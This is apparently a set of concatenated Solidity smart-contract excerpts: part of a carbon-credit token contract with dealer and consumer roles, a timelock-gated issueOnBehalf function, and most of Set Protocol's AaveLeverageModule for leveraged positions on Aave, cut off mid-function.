consumerOrDealer { require(tokenExists(tokenId), "CLM8::retire: tokenId does not exist"); require( (amount <= super.balanceOf(msg.sender, tokenId)), "CLM8::retire: not enough available balance to retire" ); super._burn(msg.sender, tokenId, amount); _retiredBalances[tokenId][msg.sender] = _retiredBalances[tokenId][msg.sender].add(amount); emit TokenRetired( msg.sender, tokenId, amount ); } /** * @dev returns true if Dealer's account is registered * @param account address of the dealer */ function isDealerRegistered(address account) public view returns (bool) { bool isRecDealer = hasRole(REGISTERED_REC_DEALER, account); bool isCeoDealer = hasRole(REGISTERED_OFFSET_DEALER, account); bool isAeDealer = hasRole(REGISTERED_EMISSIONS_AUDITOR, account); if (isRecDealer || isCeoDealer || isAeDealer) return true; return false; } /** * @dev returns true if Consumers's account is registered * @param account address of the dealer */ function isConsumerRegistered(address account) public view returns (bool) { return hasRole(REGISTERED_CONSUMER, account); } /** * @dev returns true if Consumers's or Dealer's account is registered * @param account address of the consumer/dealer */ function isDealerOrConsumer(address account) private view returns (bool) { return (isDealerRegistered(account) || isConsumerRegistered(account)); } /** * @dev Helper function for returning tuple of bools of role membership * @param account address to check roles */ function getRoles(address account) external view returns (bool, bool, bool, bool, bool) { bool isAdmin = hasRole(DEFAULT_ADMIN_ROLE, account); bool isRecDealer = hasRole(REGISTERED_REC_DEALER, account); bool isCeoDealer = hasRole(REGISTERED_OFFSET_DEALER, account); bool isAeDealer = hasRole(REGISTERED_EMISSIONS_AUDITOR, account); bool isConsumer = hasRole(REGISTERED_CONSUMER, account); return (isAdmin, isRecDealer, isCeoDealer, isAeDealer, isConsumer); } /** * @dev Only contract owner can register Dealers * @param account address of the dealer to register * Only registered Dealers can transfer tokens */ function registerDealer(address account, uint8 tokenTypeId) external onlyAdmin { require(tokenTypeIdIsValid(tokenTypeId), "CLM8::registerDealer: tokenTypeId does not exist"); if (tokenTypeId == 1) { grantRole(REGISTERED_REC_DEALER, account); } else if (tokenTypeId == 2) { grantRole(REGISTERED_OFFSET_DEALER, account); } else { grantRole(REGISTERED_EMISSIONS_AUDITOR, account); } // Also grant generic dealer role for registering/unregistering consumers grantRole(REGISTERED_DEALER, account); emit RegisteredDealer(account); } /** * @dev returns true if Consumer's account is registered for the given token * @param account address of the consumer */ function registerConsumer(address account) external onlyDealer { if (limitedMode) { require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "CLM8::registerConsumer(limited): only admin can register consumers"); } grantRole(REGISTERED_CONSUMER, account); emit RegisteredConsumer(account); } /** * @dev Only contract owner can unregister Dealers * @param account address to be unregistered */ function unregisterDealer(address account, uint8 tokenTypeId) external onlyAdmin { require(tokenTypeIdIsValid(tokenTypeId), "CLM8::unregisterDealer: tokenTypeId does not exist"); if (tokenTypeId == 1) { super.revokeRole(REGISTERED_REC_DEALER, account); } else if (tokenTypeId == 2) { super.revokeRole(REGISTERED_OFFSET_DEALER, account); } else { super.revokeRole(REGISTERED_EMISSIONS_AUDITOR, account); } // If no longer a dealer of any token type, remove generic dealer role if (!isDealerRegistered(account)) { revokeRole(REGISTERED_DEALER, account); } emit UnregisteredDealer(account); } /** * @dev Only contract owner can unregister Consumers * @param account address to be unregistered */ function unregisterConsumer(address account) external onlyDealer { if (limitedMode) { require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "CLM8::unregisterConsumer(limited): only admin can unregister consumers"); } super.revokeRole(REGISTERED_CONSUMER, account); emit UnregisteredConsumer(account); } /** * @dev transfers the value to the 'to' account for tokenId * @param to recipient address * @param tokenId tokenId for the transfer * @param value amount of transfer * Transfer can start only when both parties are registered and the token is not paused * Note: Token holders can arbitrarily call safeTransferFrom() without these checks */ function transfer( address to, uint256 tokenId, uint256 value ) external consumerOrDealer { require(tokenExists(tokenId), "CLM8::transfer: tokenId does not exist"); require((msg.sender != to), "CLM8::transfer: sender and receiver cannot be the same"); super.safeTransferFrom(msg.sender, to, tokenId, value, "0x00"); } function setTimelock( address _timelock ) external onlyAdmin { timelock = _timelock; } function getAvailableAndRetired(address account, uint256 tokenId) external view returns (uint256, uint256) { uint256 available = super.balanceOf(account, tokenId); uint256 retired = this.getTokenRetiredAmount(account, tokenId); return (available, retired); } /** * @dev returns issuer of a given tokenId */ function getIssuer(uint256 tokenId) external view returns (address) { return _tokenDetails[tokenId].issuer; } /** * @dev returns the details of a given tokenId, omitting holders * @param tokenId token to check */ function getTokenDetails(uint256 tokenId) external view returns (CarbonTokenDetails memory) { return _tokenDetails[tokenId]; } /** * @dev turns off or on limited mode * @param _limitedMode boolean value */ function setLimitedMode(bool _limitedMode) external onlyAdmin { limitedMode = _limitedMode; } }
Issue function for DAO (on limited mode) or admin to manually pass issuer Must be called from Timelock contract through a successful proposal or by admin if limited mode is set to false/
function issueOnBehalf( address issuee, address issuer, uint8 tokenTypeId, uint256 quantity, uint256 fromDate, uint256 thruDate, uint256 automaticRetireDate, string memory metadata, string memory manifest, string memory description ) public { require( (msg.sender == timelock) || hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "CLM8::issueOnBehalf: call must come from DAO or admin" ); return _issue( issuee, issuer, tokenTypeId, quantity, fromDate, thruDate, automaticRetireDate, metadata, manifest, description ); }
6,352,300
/* Copyright 2021 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. SPDX-License-Identifier: Apache License, Version 2.0 */ pragma solidity 0.6.10; pragma experimental "ABIEncoderV2"; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { Ownable } from "@openzeppelin/contracts/access/Ownable.sol"; import { ReentrancyGuard } from "@openzeppelin/contracts/utils/ReentrancyGuard.sol"; import { AaveV2 } from "../integration/lib/AaveV2.sol"; import { IAToken } from "../../interfaces/external/aave-v2/IAToken.sol"; import { IController } from "../../interfaces/IController.sol"; import { IDebtIssuanceModule } from "../../interfaces/IDebtIssuanceModule.sol"; import { IExchangeAdapter } from "../../interfaces/IExchangeAdapter.sol"; import { ILendingPool } from "../../interfaces/external/aave-v2/ILendingPool.sol"; import { ILendingPoolAddressesProvider } from "../../interfaces/external/aave-v2/ILendingPoolAddressesProvider.sol"; import { IModuleIssuanceHook } from "../../interfaces/IModuleIssuanceHook.sol"; import { IProtocolDataProvider } from "../../interfaces/external/aave-v2/IProtocolDataProvider.sol"; import { ISetToken } from "../../interfaces/ISetToken.sol"; import { IVariableDebtToken } from "../../interfaces/external/aave-v2/IVariableDebtToken.sol"; import { ModuleBase } from "../lib/ModuleBase.sol"; /** * @title AaveLeverageModule * @author Set Protocol * @notice Smart contract that enables leverage trading using Aave as the lending protocol. * @dev Do not use this module in conjunction with other debt modules that allow Aave debt positions as it could lead to double counting of * debt when borrowed assets are the same. */ contract AaveLeverageModule is ModuleBase, ReentrancyGuard, Ownable, IModuleIssuanceHook { using AaveV2 for ISetToken; /* ============ Structs ============ */ struct EnabledAssets { address[] collateralAssets; // Array of enabled underlying collateral assets for a SetToken address[] borrowAssets; // Array of enabled underlying borrow assets for a SetToken } struct ActionInfo { ISetToken setToken; // SetToken instance ILendingPool lendingPool; // Lending pool instance, we grab this everytime since it's best practice not to store IExchangeAdapter exchangeAdapter; // Exchange adapter instance uint256 setTotalSupply; // Total supply of SetToken uint256 notionalSendQuantity; // Total notional quantity sent to exchange uint256 minNotionalReceiveQuantity; // Min total notional received from exchange IERC20 collateralAsset; // Address of collateral asset IERC20 borrowAsset; // Address of borrow asset uint256 preTradeReceiveTokenBalance; // Balance of pre-trade receive token balance } struct ReserveTokens { IAToken aToken; // Reserve's aToken instance IVariableDebtToken variableDebtToken; // Reserve's variable debt token instance } /* ============ Events ============ */ /** * @dev Emitted on lever() * @param _setToken Instance of the SetToken being levered * @param _borrowAsset Asset being borrowed for leverage * @param _collateralAsset Collateral asset being levered * @param _exchangeAdapter Exchange adapter used for trading * @param _totalBorrowAmount Total amount of `_borrowAsset` borrowed * @param _totalReceiveAmount Total amount of `_collateralAsset` received by selling `_borrowAsset` * @param _protocolFee Protocol fee charged */ event LeverageIncreased( ISetToken indexed _setToken, IERC20 indexed _borrowAsset, IERC20 indexed _collateralAsset, IExchangeAdapter _exchangeAdapter, uint256 _totalBorrowAmount, uint256 _totalReceiveAmount, uint256 _protocolFee ); /** * @dev Emitted on delever() and deleverToZeroBorrowBalance() * @param _setToken Instance of the SetToken being delevered * @param _collateralAsset Asset sold to decrease leverage * @param _repayAsset Asset being bought to repay to Aave * @param _exchangeAdapter Exchange adapter used for trading * @param _totalRedeemAmount Total amount of `_collateralAsset` being sold * @param _totalRepayAmount Total amount of `_repayAsset` being repaid * @param _protocolFee Protocol fee charged */ event LeverageDecreased( ISetToken indexed _setToken, IERC20 indexed _collateralAsset, IERC20 indexed _repayAsset, IExchangeAdapter _exchangeAdapter, uint256 _totalRedeemAmount, uint256 _totalRepayAmount, uint256 _protocolFee ); /** * @dev Emitted on addCollateralAssets() and removeCollateralAssets() * @param _setToken Instance of SetToken whose collateral assets is updated * @param _added true if assets are added false if removed * @param _assets Array of collateral assets being added/removed */ event CollateralAssetsUpdated( ISetToken indexed _setToken, bool indexed _added, IERC20[] _assets ); /** * @dev Emitted on addBorrowAssets() and removeBorrowAssets() * @param _setToken Instance of SetToken whose borrow assets is updated * @param _added true if assets are added false if removed * @param _assets Array of borrow assets being added/removed */ event BorrowAssetsUpdated( ISetToken indexed _setToken, bool indexed _added, IERC20[] _assets ); /** * @dev Emitted when `underlyingToReserveTokensMappings` is updated * @param _underlying Address of the underlying asset * @param _aToken Updated aave reserve aToken * @param _variableDebtToken Updated aave reserve variable debt token */ event ReserveTokensUpdated( IERC20 indexed _underlying, IAToken indexed _aToken, IVariableDebtToken indexed _variableDebtToken ); /** * @dev Emitted on updateAllowedSetToken() * @param _setToken SetToken being whose allowance to initialize this module is being updated * @param _added true if added false if removed */ event SetTokenStatusUpdated( ISetToken indexed _setToken, bool indexed _added ); /** * @dev Emitted on updateAnySetAllowed() * @param _anySetAllowed true if any set is allowed to initialize this module, false otherwise */ event AnySetAllowedUpdated( bool indexed _anySetAllowed ); /* ============ Constants ============ */ // This module only supports borrowing in variable rate mode from Aave which is represented by 2 uint256 constant internal BORROW_RATE_MODE = 2; // String identifying the DebtIssuanceModule in the IntegrationRegistry. Note: Governance must add DefaultIssuanceModule as // the string as the integration name string constant internal DEFAULT_ISSUANCE_MODULE_NAME = "DefaultIssuanceModule"; // 0 index stores protocol fee % on the controller, charged in the _executeTrade function uint256 constant internal PROTOCOL_TRADE_FEE_INDEX = 0; /* ============ State Variables ============ */ // Mapping to efficiently fetch reserve token addresses. Tracking Aave reserve token addresses and updating them // upon requirement is more efficient than fetching them each time from Aave. // Note: For an underlying asset to be enabled as collateral/borrow asset on SetToken, it must be added to this mapping first. mapping(IERC20 => ReserveTokens) public underlyingToReserveTokens; // Used to fetch reserves and user data from AaveV2 IProtocolDataProvider public immutable protocolDataProvider; // Used to fetch lendingPool address. This contract is immutable and its address will never change. ILendingPoolAddressesProvider public immutable lendingPoolAddressesProvider; // Mapping to efficiently check if collateral asset is enabled in SetToken mapping(ISetToken => mapping(IERC20 => bool)) public collateralAssetEnabled; // Mapping to efficiently check if a borrow asset is enabled in SetToken mapping(ISetToken => mapping(IERC20 => bool)) public borrowAssetEnabled; // Internal mapping of enabled collateral and borrow tokens for syncing positions mapping(ISetToken => EnabledAssets) internal enabledAssets; // Mapping of SetToken to boolean indicating if SetToken is on allow list. Updateable by governance mapping(ISetToken => bool) public allowedSetTokens; // Boolean that returns if any SetToken can initialize this module. If false, then subject to allow list. Updateable by governance. bool public anySetAllowed; /* ============ Constructor ============ */ /** * @dev Instantiate addresses. Underlying to reserve tokens mapping is created. * @param _controller Address of controller contract * @param _lendingPoolAddressesProvider Address of Aave LendingPoolAddressProvider */ constructor( IController _controller, ILendingPoolAddressesProvider _lendingPoolAddressesProvider ) public ModuleBase(_controller) { lendingPoolAddressesProvider = _lendingPoolAddressesProvider; IProtocolDataProvider _protocolDataProvider = IProtocolDataProvider( // Use the raw input vs bytes32() conversion. This is to ensure the input is an uint and not a string. _lendingPoolAddressesProvider.getAddress(0x0100000000000000000000000000000000000000000000000000000000000000) ); protocolDataProvider = _protocolDataProvider; IProtocolDataProvider.TokenData[] memory reserveTokens = _protocolDataProvider.getAllReservesTokens(); for(uint256 i = 0; i < reserveTokens.length; i++) { (address aToken, , address variableDebtToken) = _protocolDataProvider.getReserveTokensAddresses(reserveTokens[i].tokenAddress); underlyingToReserveTokens[IERC20(reserveTokens[i].tokenAddress)] = ReserveTokens(IAToken(aToken), IVariableDebtToken(variableDebtToken)); } } /* ============ External Functions ============ */ /** * @dev MANAGER ONLY: Increases leverage for a given collateral position using an enabled borrow asset. * Borrows _borrowAsset from Aave. Performs a DEX trade, exchanging the _borrowAsset for _collateralAsset. * Deposits _collateralAsset to Aave and mints corresponding aToken. * Note: Both collateral and borrow assets need to be enabled, and they must not be the same asset. * @param _setToken Instance of the SetToken * @param _borrowAsset Address of underlying asset being borrowed for leverage * @param _collateralAsset Address of underlying collateral asset * @param _borrowQuantityUnits Borrow quantity of asset in position units * @param _minReceiveQuantityUnits Min receive quantity of collateral asset to receive post-trade in position units * @param _tradeAdapterName Name of trade adapter * @param _tradeData Arbitrary data for trade */ function lever( ISetToken _setToken, IERC20 _borrowAsset, IERC20 _collateralAsset, uint256 _borrowQuantityUnits, uint256 _minReceiveQuantityUnits, string memory _tradeAdapterName, bytes memory _tradeData ) external nonReentrant onlyManagerAndValidSet(_setToken) { // For levering up, send quantity is derived from borrow asset and receive quantity is derived from // collateral asset ActionInfo memory leverInfo = _createAndValidateActionInfo( _setToken, _borrowAsset, _collateralAsset, _borrowQuantityUnits, _minReceiveQuantityUnits, _tradeAdapterName, true ); _borrow(leverInfo.setToken, leverInfo.lendingPool, leverInfo.borrowAsset, leverInfo.notionalSendQuantity); uint256 postTradeReceiveQuantity = _executeTrade(leverInfo, _borrowAsset, _collateralAsset, _tradeData); uint256 protocolFee = _accrueProtocolFee(_setToken, _collateralAsset, postTradeReceiveQuantity); uint256 postTradeCollateralQuantity = postTradeReceiveQuantity.sub(protocolFee); _deposit(leverInfo.setToken, leverInfo.lendingPool, _collateralAsset, postTradeCollateralQuantity); _updateLeverPositions(leverInfo, _borrowAsset); emit LeverageIncreased( _setToken, _borrowAsset, _collateralAsset, leverInfo.exchangeAdapter, leverInfo.notionalSendQuantity, postTradeCollateralQuantity, protocolFee ); } /** * @dev MANAGER ONLY: Decrease leverage for a given collateral position using an enabled borrow asset. * Withdraws _collateralAsset from Aave. Performs a DEX trade, exchanging the _collateralAsset for _repayAsset. * Repays _repayAsset to Aave and burns corresponding debt tokens. * Note: Both collateral and borrow assets need to be enabled, and they must not be the same asset. * @param _setToken Instance of the SetToken * @param _collateralAsset Address of underlying collateral asset being withdrawn * @param _repayAsset Address of underlying borrowed asset being repaid * @param _redeemQuantityUnits Quantity of collateral asset to delever in position units * @param _minRepayQuantityUnits Minimum amount of repay asset to receive post trade in position units * @param _tradeAdapterName Name of trade adapter * @param _tradeData Arbitrary data for trade */ function delever( ISetToken _setToken, IERC20 _collateralAsset, IERC20 _repayAsset, uint256 _redeemQuantityUnits, uint256 _minRepayQuantityUnits, string memory _tradeAdapterName, bytes memory _tradeData ) external nonReentrant onlyManagerAndValidSet(_setToken) { // Note: for delevering, send quantity is derived from collateral asset and receive quantity is derived from // repay asset ActionInfo memory deleverInfo = _createAndValidateActionInfo( _setToken, _collateralAsset, _repayAsset, _redeemQuantityUnits, _minRepayQuantityUnits, _tradeAdapterName, false ); _withdraw(deleverInfo.setToken, deleverInfo.lendingPool, _collateralAsset, deleverInfo.notionalSendQuantity); uint256 postTradeReceiveQuantity = _executeTrade(deleverInfo, _collateralAsset, _repayAsset, _tradeData); uint256 protocolFee = _accrueProtocolFee(_setToken, _repayAsset, postTradeReceiveQuantity); uint256 repayQuantity = postTradeReceiveQuantity.sub(protocolFee); _repayBorrow(deleverInfo.setToken, deleverInfo.lendingPool, _repayAsset, repayQuantity); _updateDeleverPositions(deleverInfo, _repayAsset); emit LeverageDecreased( _setToken, _collateralAsset, _repayAsset, deleverInfo.exchangeAdapter, deleverInfo.notionalSendQuantity, repayQuantity, protocolFee ); } /** @dev MANAGER ONLY: Pays down the borrow asset to 0 selling off a given amount of collateral asset. * Withdraws _collateralAsset from Aave. Performs a DEX trade, exchanging the _collateralAsset for _repayAsset. * Minimum receive amount for the DEX trade is set to the current variable debt balance of the borrow asset. * Repays received _repayAsset to Aave which burns corresponding debt tokens. Any extra received borrow asset is . * updated as equity. No protocol fee is charged. * Note: Both collateral and borrow assets need to be enabled, and they must not be the same asset. * The function reverts if not enough collateral asset is redeemed to buy the required minimum amount of _repayAsset. * @param _setToken Instance of the SetToken * @param _collateralAsset Address of underlying collateral asset being redeemed * @param _repayAsset Address of underlying asset being repaid * @param _redeemQuantityUnits Quantity of collateral asset to delever in position units * @param _tradeAdapterName Name of trade adapter * @param _tradeData Arbitrary data for trade * @return uint256 Notional repay quantity */ function deleverToZeroBorrowBalance( ISetToken _setToken, IERC20 _collateralAsset, IERC20 _repayAsset, uint256 _redeemQuantityUnits, string memory _tradeAdapterName, bytes memory _tradeData ) external nonReentrant onlyManagerAndValidSet(_setToken) returns (uint256) { uint256 setTotalSupply = _setToken.totalSupply(); uint256 notionalRedeemQuantity = _redeemQuantityUnits.preciseMul(setTotalSupply); require(borrowAssetEnabled[_setToken][_repayAsset], "Borrow not enabled"); uint256 notionalRepayQuantity = underlyingToReserveTokens[_repayAsset].variableDebtToken.balanceOf(address(_setToken)); require(notionalRepayQuantity > 0, "Borrow balance is zero"); ActionInfo memory deleverInfo = _createAndValidateActionInfoNotional( _setToken, _collateralAsset, _repayAsset, notionalRedeemQuantity, notionalRepayQuantity, _tradeAdapterName, false, setTotalSupply ); _withdraw(deleverInfo.setToken, deleverInfo.lendingPool, _collateralAsset, deleverInfo.notionalSendQuantity); _executeTrade(deleverInfo, _collateralAsset, _repayAsset, _tradeData); _repayBorrow(deleverInfo.setToken, deleverInfo.lendingPool, _repayAsset, notionalRepayQuantity); _updateDeleverPositions(deleverInfo, _repayAsset); emit LeverageDecreased( _setToken, _collateralAsset, _repayAsset, deleverInfo.exchangeAdapter, deleverInfo.notionalSendQuantity, notionalRepayQuantity, 0 // No protocol fee ); return notionalRepayQuantity; } /** * @dev CALLABLE BY ANYBODY: Sync Set positions with ALL enabled Aave collateral and borrow positions. * For collateral assets, update aToken default position. For borrow assets, update external borrow position. * - Collateral assets may come out of sync when interest is accrued or a position is liquidated * - Borrow assets may come out of sync when interest is accrued or position is liquidated and borrow is repaid * Note: In Aave, both collateral and borrow interest is accrued in each block by increasing the balance of * aTokens and debtTokens for each user, and 1 aToken = 1 variableDebtToken = 1 underlying. * @param _setToken Instance of the SetToken */ function sync(ISetToken _setToken) public nonReentrant onlyValidAndInitializedSet(_setToken) { uint256 setTotalSupply = _setToken.totalSupply(); // Only sync positions when Set supply is not 0. Without this check, if sync is called by someone before the // first issuance, then editDefaultPosition would remove the default positions from the SetToken if (setTotalSupply > 0) { address[] memory collateralAssets = enabledAssets[_setToken].collateralAssets; for(uint256 i = 0; i < collateralAssets.length; i++) { IAToken aToken = underlyingToReserveTokens[IERC20(collateralAssets[i])].aToken; uint256 previousPositionUnit = _setToken.getDefaultPositionRealUnit(address(aToken)).toUint256(); uint256 newPositionUnit = _getCollateralPosition(_setToken, aToken, setTotalSupply); // Note: Accounts for if position does not exist on SetToken but is tracked in enabledAssets if (previousPositionUnit != newPositionUnit) { _updateCollateralPosition(_setToken, aToken, newPositionUnit); } } address[] memory borrowAssets = enabledAssets[_setToken].borrowAssets; for(uint256 i = 0; i < borrowAssets.length; i++) { IERC20 borrowAsset = IERC20(borrowAssets[i]); int256 previousPositionUnit = _setToken.getExternalPositionRealUnit(address(borrowAsset), address(this)); int256 newPositionUnit = _getBorrowPosition(_setToken, borrowAsset, setTotalSupply); // Note: Accounts for if position does not exist on SetToken but is tracked in enabledAssets if (newPositionUnit != previousPositionUnit) { _updateBorrowPosition(_setToken, borrowAsset, newPositionUnit); } } } } /** * @dev MANAGER ONLY: Initializes this module to the SetToken. Either the SetToken needs to be on the allowed list * or anySetAllowed needs to be true. Only callable by the SetToken's manager. * Note: Managers can enable collateral and borrow assets that don't exist as positions on the SetToken * @param _setToken Instance of the SetToken to initialize * @param _collateralAssets Underlying tokens to be enabled as collateral in the SetToken * @param _borrowAssets Underlying tokens to be enabled as borrow in the SetToken */ function initialize( ISetToken _setToken, IERC20[] memory _collateralAssets, IERC20[] memory _borrowAssets ) external onlySetManager(_setToken, msg.sender) onlyValidAndPendingSet(_setToken) { if (!anySetAllowed) { require(allowedSetTokens[_setToken], "Not allowed SetToken"); } // Initialize module before trying register _setToken.initializeModule(); // Get debt issuance module registered to this module and require that it is initialized require(_setToken.isInitializedModule(getAndValidateAdapter(DEFAULT_ISSUANCE_MODULE_NAME)), "Issuance not initialized"); // Try if register exists on any of the modules including the debt issuance module address[] memory modules = _setToken.getModules(); for(uint256 i = 0; i < modules.length; i++) { try IDebtIssuanceModule(modules[i]).registerToIssuanceModule(_setToken) {} catch {} } // _collateralAssets and _borrowAssets arrays are validated in their respective internal functions _addCollateralAssets(_setToken, _collateralAssets); _addBorrowAssets(_setToken, _borrowAssets); } /** * @dev MANAGER ONLY: Removes this module from the SetToken, via call by the SetToken. Any deposited collateral assets * are disabled to be used as collateral on Aave. Aave Settings and manager enabled assets state is deleted. * Note: Function will revert is there is any debt remaining on Aave */ function removeModule() external override onlyValidAndInitializedSet(ISetToken(msg.sender)) { ISetToken setToken = ISetToken(msg.sender); // Sync Aave and SetToken positions prior to any removal action sync(setToken); address[] memory borrowAssets = enabledAssets[setToken].borrowAssets; for(uint256 i = 0; i < borrowAssets.length; i++) { IERC20 borrowAsset = IERC20(borrowAssets[i]); require(underlyingToReserveTokens[borrowAsset].variableDebtToken.balanceOf(address(setToken)) == 0, "Variable debt remaining"); delete borrowAssetEnabled[setToken][borrowAsset]; } address[] memory collateralAssets = enabledAssets[setToken].collateralAssets; for(uint256 i = 0; i < collateralAssets.length; i++) { IERC20 collateralAsset = IERC20(collateralAssets[i]); _updateUseReserveAsCollateral(setToken, collateralAsset, false); delete collateralAssetEnabled[setToken][collateralAsset]; } delete enabledAssets[setToken]; // Try if unregister exists on any of the modules address[] memory modules = setToken.getModules(); for(uint256 i = 0; i < modules.length; i++) { try IDebtIssuanceModule(modules[i]).unregisterFromIssuanceModule(setToken) {} catch {} } } /** * @dev MANAGER ONLY: Add registration of this module on the debt issuance module for the SetToken. * Note: if the debt issuance module is not added to SetToken before this module is initialized, then this function * needs to be called if the debt issuance module is later added and initialized to prevent state inconsistencies * @param _setToken Instance of the SetToken * @param _debtIssuanceModule Debt issuance module address to register */ function registerToModule(ISetToken _setToken, IDebtIssuanceModule _debtIssuanceModule) external onlyManagerAndValidSet(_setToken) { require(_setToken.isInitializedModule(address(_debtIssuanceModule)), "Issuance not initialized"); _debtIssuanceModule.registerToIssuanceModule(_setToken); } /** * @dev CALLABLE BY ANYBODY: Updates `underlyingToReserveTokens` mappings. Reverts if mapping already exists * or the passed _underlying asset does not have a valid reserve on Aave. * Note: Call this function when Aave adds a new reserve. * @param _underlying Address of underlying asset */ function addUnderlyingToReserveTokensMapping(IERC20 _underlying) external { require(address(underlyingToReserveTokens[_underlying].aToken) == address(0), "Mapping already exists"); // An active reserve is an alias for a valid reserve on Aave. (,,,,,,,, bool isActive,) = protocolDataProvider.getReserveConfigurationData(address(_underlying)); require(isActive, "Invalid aave reserve"); _addUnderlyingToReserveTokensMapping(_underlying); } /** * @dev MANAGER ONLY: Add collateral assets. aTokens corresponding to collateral assets are tracked for syncing positions. * Note: Reverts with "Collateral already enabled" if there are duplicate assets in the passed _newCollateralAssets array. * * NOTE: ALL ADDED COLLATERAL ASSETS CAN BE ADDED AS A POSITION ON THE SET TOKEN WITHOUT MANAGER'S EXPLICIT PERMISSION. * UNWANTED EXTRA POSITIONS CAN BREAK EXTERNAL LOGIC, INCREASE COST OF MINT/REDEEM OF SET TOKEN, AMONG OTHER POTENTIAL UNINTENDED CONSEQUENCES. * SO, PLEASE ADD ONLY THOSE COLLATERAL ASSETS WHOSE CORRESPONDING aTOKENS ARE NEEDED AS DEFAULT POSITIONS ON THE SET TOKEN. * * @param _setToken Instance of the SetToken * @param _newCollateralAssets Addresses of new collateral underlying assets */ function addCollateralAssets(ISetToken _setToken, IERC20[] memory _newCollateralAssets) external onlyManagerAndValidSet(_setToken) { _addCollateralAssets(_setToken, _newCollateralAssets); } /** * @dev MANAGER ONLY: Remove collateral assets. Disable deposited assets to be used as collateral on Aave market. * @param _setToken Instance of the SetToken * @param _collateralAssets Addresses of collateral underlying assets to remove */ function removeCollateralAssets(ISetToken _setToken, IERC20[] memory _collateralAssets) external onlyManagerAndValidSet(_setToken) { for(uint256 i = 0; i < _collateralAssets.length; i++) { IERC20 collateralAsset = _collateralAssets[i]; require(collateralAssetEnabled[_setToken][collateralAsset], "Collateral not enabled"); _updateUseReserveAsCollateral(_setToken, collateralAsset, false); delete collateralAssetEnabled[_setToken][collateralAsset]; enabledAssets[_setToken].collateralAssets.removeStorage(address(collateralAsset)); } emit CollateralAssetsUpdated(_setToken, false, _collateralAssets); } /** * @dev MANAGER ONLY: Add borrow assets. Debt tokens corresponding to borrow assets are tracked for syncing positions. * Note: Reverts with "Borrow already enabled" if there are duplicate assets in the passed _newBorrowAssets array. * @param _setToken Instance of the SetToken * @param _newBorrowAssets Addresses of borrow underlying assets to add */ function addBorrowAssets(ISetToken _setToken, IERC20[] memory _newBorrowAssets) external onlyManagerAndValidSet(_setToken) { _addBorrowAssets(_setToken, _newBorrowAssets); } /** * @dev MANAGER ONLY: Remove borrow assets. * Note: If there is a borrow balance, borrow asset cannot be removed * @param _setToken Instance of the SetToken * @param _borrowAssets Addresses of borrow underlying assets to remove */ function removeBorrowAssets(ISetToken _setToken, IERC20[] memory _borrowAssets) external onlyManagerAndValidSet(_setToken) { for(uint256 i = 0; i < _borrowAssets.length; i++) { IERC20 borrowAsset = _borrowAssets[i]; require(borrowAssetEnabled[_setToken][borrowAsset], "Borrow not enabled"); require(underlyingToReserveTokens[borrowAsset].variableDebtToken.balanceOf(address(_setToken)) == 0, "Variable debt remaining"); delete borrowAssetEnabled[_setToken][borrowAsset]; enabledAssets[_setToken].borrowAssets.removeStorage(address(borrowAsset)); } emit BorrowAssetsUpdated(_setToken, false, _borrowAssets); } /** * @dev GOVERNANCE ONLY: Enable/disable ability of a SetToken to initialize this module. Only callable by governance. * @param _setToken Instance of the SetToken * @param _status Bool indicating if _setToken is allowed to initialize this module */ function updateAllowedSetToken(ISetToken _setToken, bool _status) external onlyOwner { require(controller.isSet(address(_setToken)) || allowedSetTokens[_setToken], "Invalid SetToken"); allowedSetTokens[_setToken] = _status; emit SetTokenStatusUpdated(_setToken, _status); } /** * @dev GOVERNANCE ONLY: Toggle whether ANY SetToken is allowed to initialize this module. Only callable by governance. * @param _anySetAllowed Bool indicating if ANY SetToken is allowed to initialize this module */ function updateAnySetAllowed(bool _anySetAllowed) external onlyOwner { anySetAllowed = _anySetAllowed; emit AnySetAllowedUpdated(_anySetAllowed); } /** * @dev MODULE ONLY: Hook called prior to issuance to sync positions on SetToken. Only callable by valid module. * @param _setToken Instance of the SetToken */ function moduleIssueHook(ISetToken _setToken, uint256 /* _setTokenQuantity */) external override onlyModule(_setToken) { sync(_setToken); } /** * @dev MODULE ONLY: Hook called prior to redemption to sync positions on SetToken. For redemption, always use current borrowed * balance after interest accrual. Only callable by valid module. * @param _setToken Instance of the SetToken */ function moduleRedeemHook(ISetToken _setToken, uint256 /* _setTokenQuantity */) external override onlyModule(_setToken) { sync(_setToken); } /** * @dev MODULE ONLY: Hook called prior to looping through each component on issuance. Invokes borrow in order for * module to return debt to issuer. Only callable by valid module. * @param _setToken Instance of the SetToken * @param _setTokenQuantity Quantity of SetToken * @param _component Address of component */ function componentIssueHook(ISetToken _setToken, uint256 _setTokenQuantity, IERC20 _component, bool _isEquity) external override onlyModule(_setToken) { // Check hook not being called for an equity position. If hook is called with equity position and outstanding borrow position // exists the loan would be taken out twice potentially leading to liquidation if (!_isEquity) { int256 componentDebt = _setToken.getExternalPositionRealUnit(address(_component), address(this)); require(componentDebt < 0, "Component must be negative"); uint256 notionalDebt = componentDebt.mul(-1).toUint256().preciseMul(_setTokenQuantity); _borrowForHook(_setToken, _component, notionalDebt); } } /** * @dev MODULE ONLY: Hook called prior to looping through each component on redemption. Invokes repay after * the issuance module transfers debt from the issuer. Only callable by valid module. * @param _setToken Instance of the SetToken * @param _setTokenQuantity Quantity of SetToken * @param _component Address of component */ function componentRedeemHook(ISetToken _setToken, uint256 _setTokenQuantity, IERC20 _component, bool _isEquity) external override onlyModule(_setToken) { // Check hook not being called for an equity position. If hook is called with equity position and outstanding borrow position // exists the loan would be paid down twice, decollateralizing the Set if (!_isEquity) { int256 componentDebt = _setToken.getExternalPositionRealUnit(address(_component), address(this)); require(componentDebt < 0, "Component must be negative"); uint256 notionalDebt = componentDebt.mul(-1).toUint256().preciseMulCeil(_setTokenQuantity); _repayBorrowForHook(_setToken, _component, notionalDebt); } } /* ============ External Getter Functions ============ */ /** * @dev Get enabled assets for SetToken. Returns an array of collateral and borrow assets. * @return Underlying collateral assets that are enabled * @return Underlying borrowed assets that are enabled */ function getEnabledAssets(ISetToken _setToken) external view returns(address[] memory, address[] 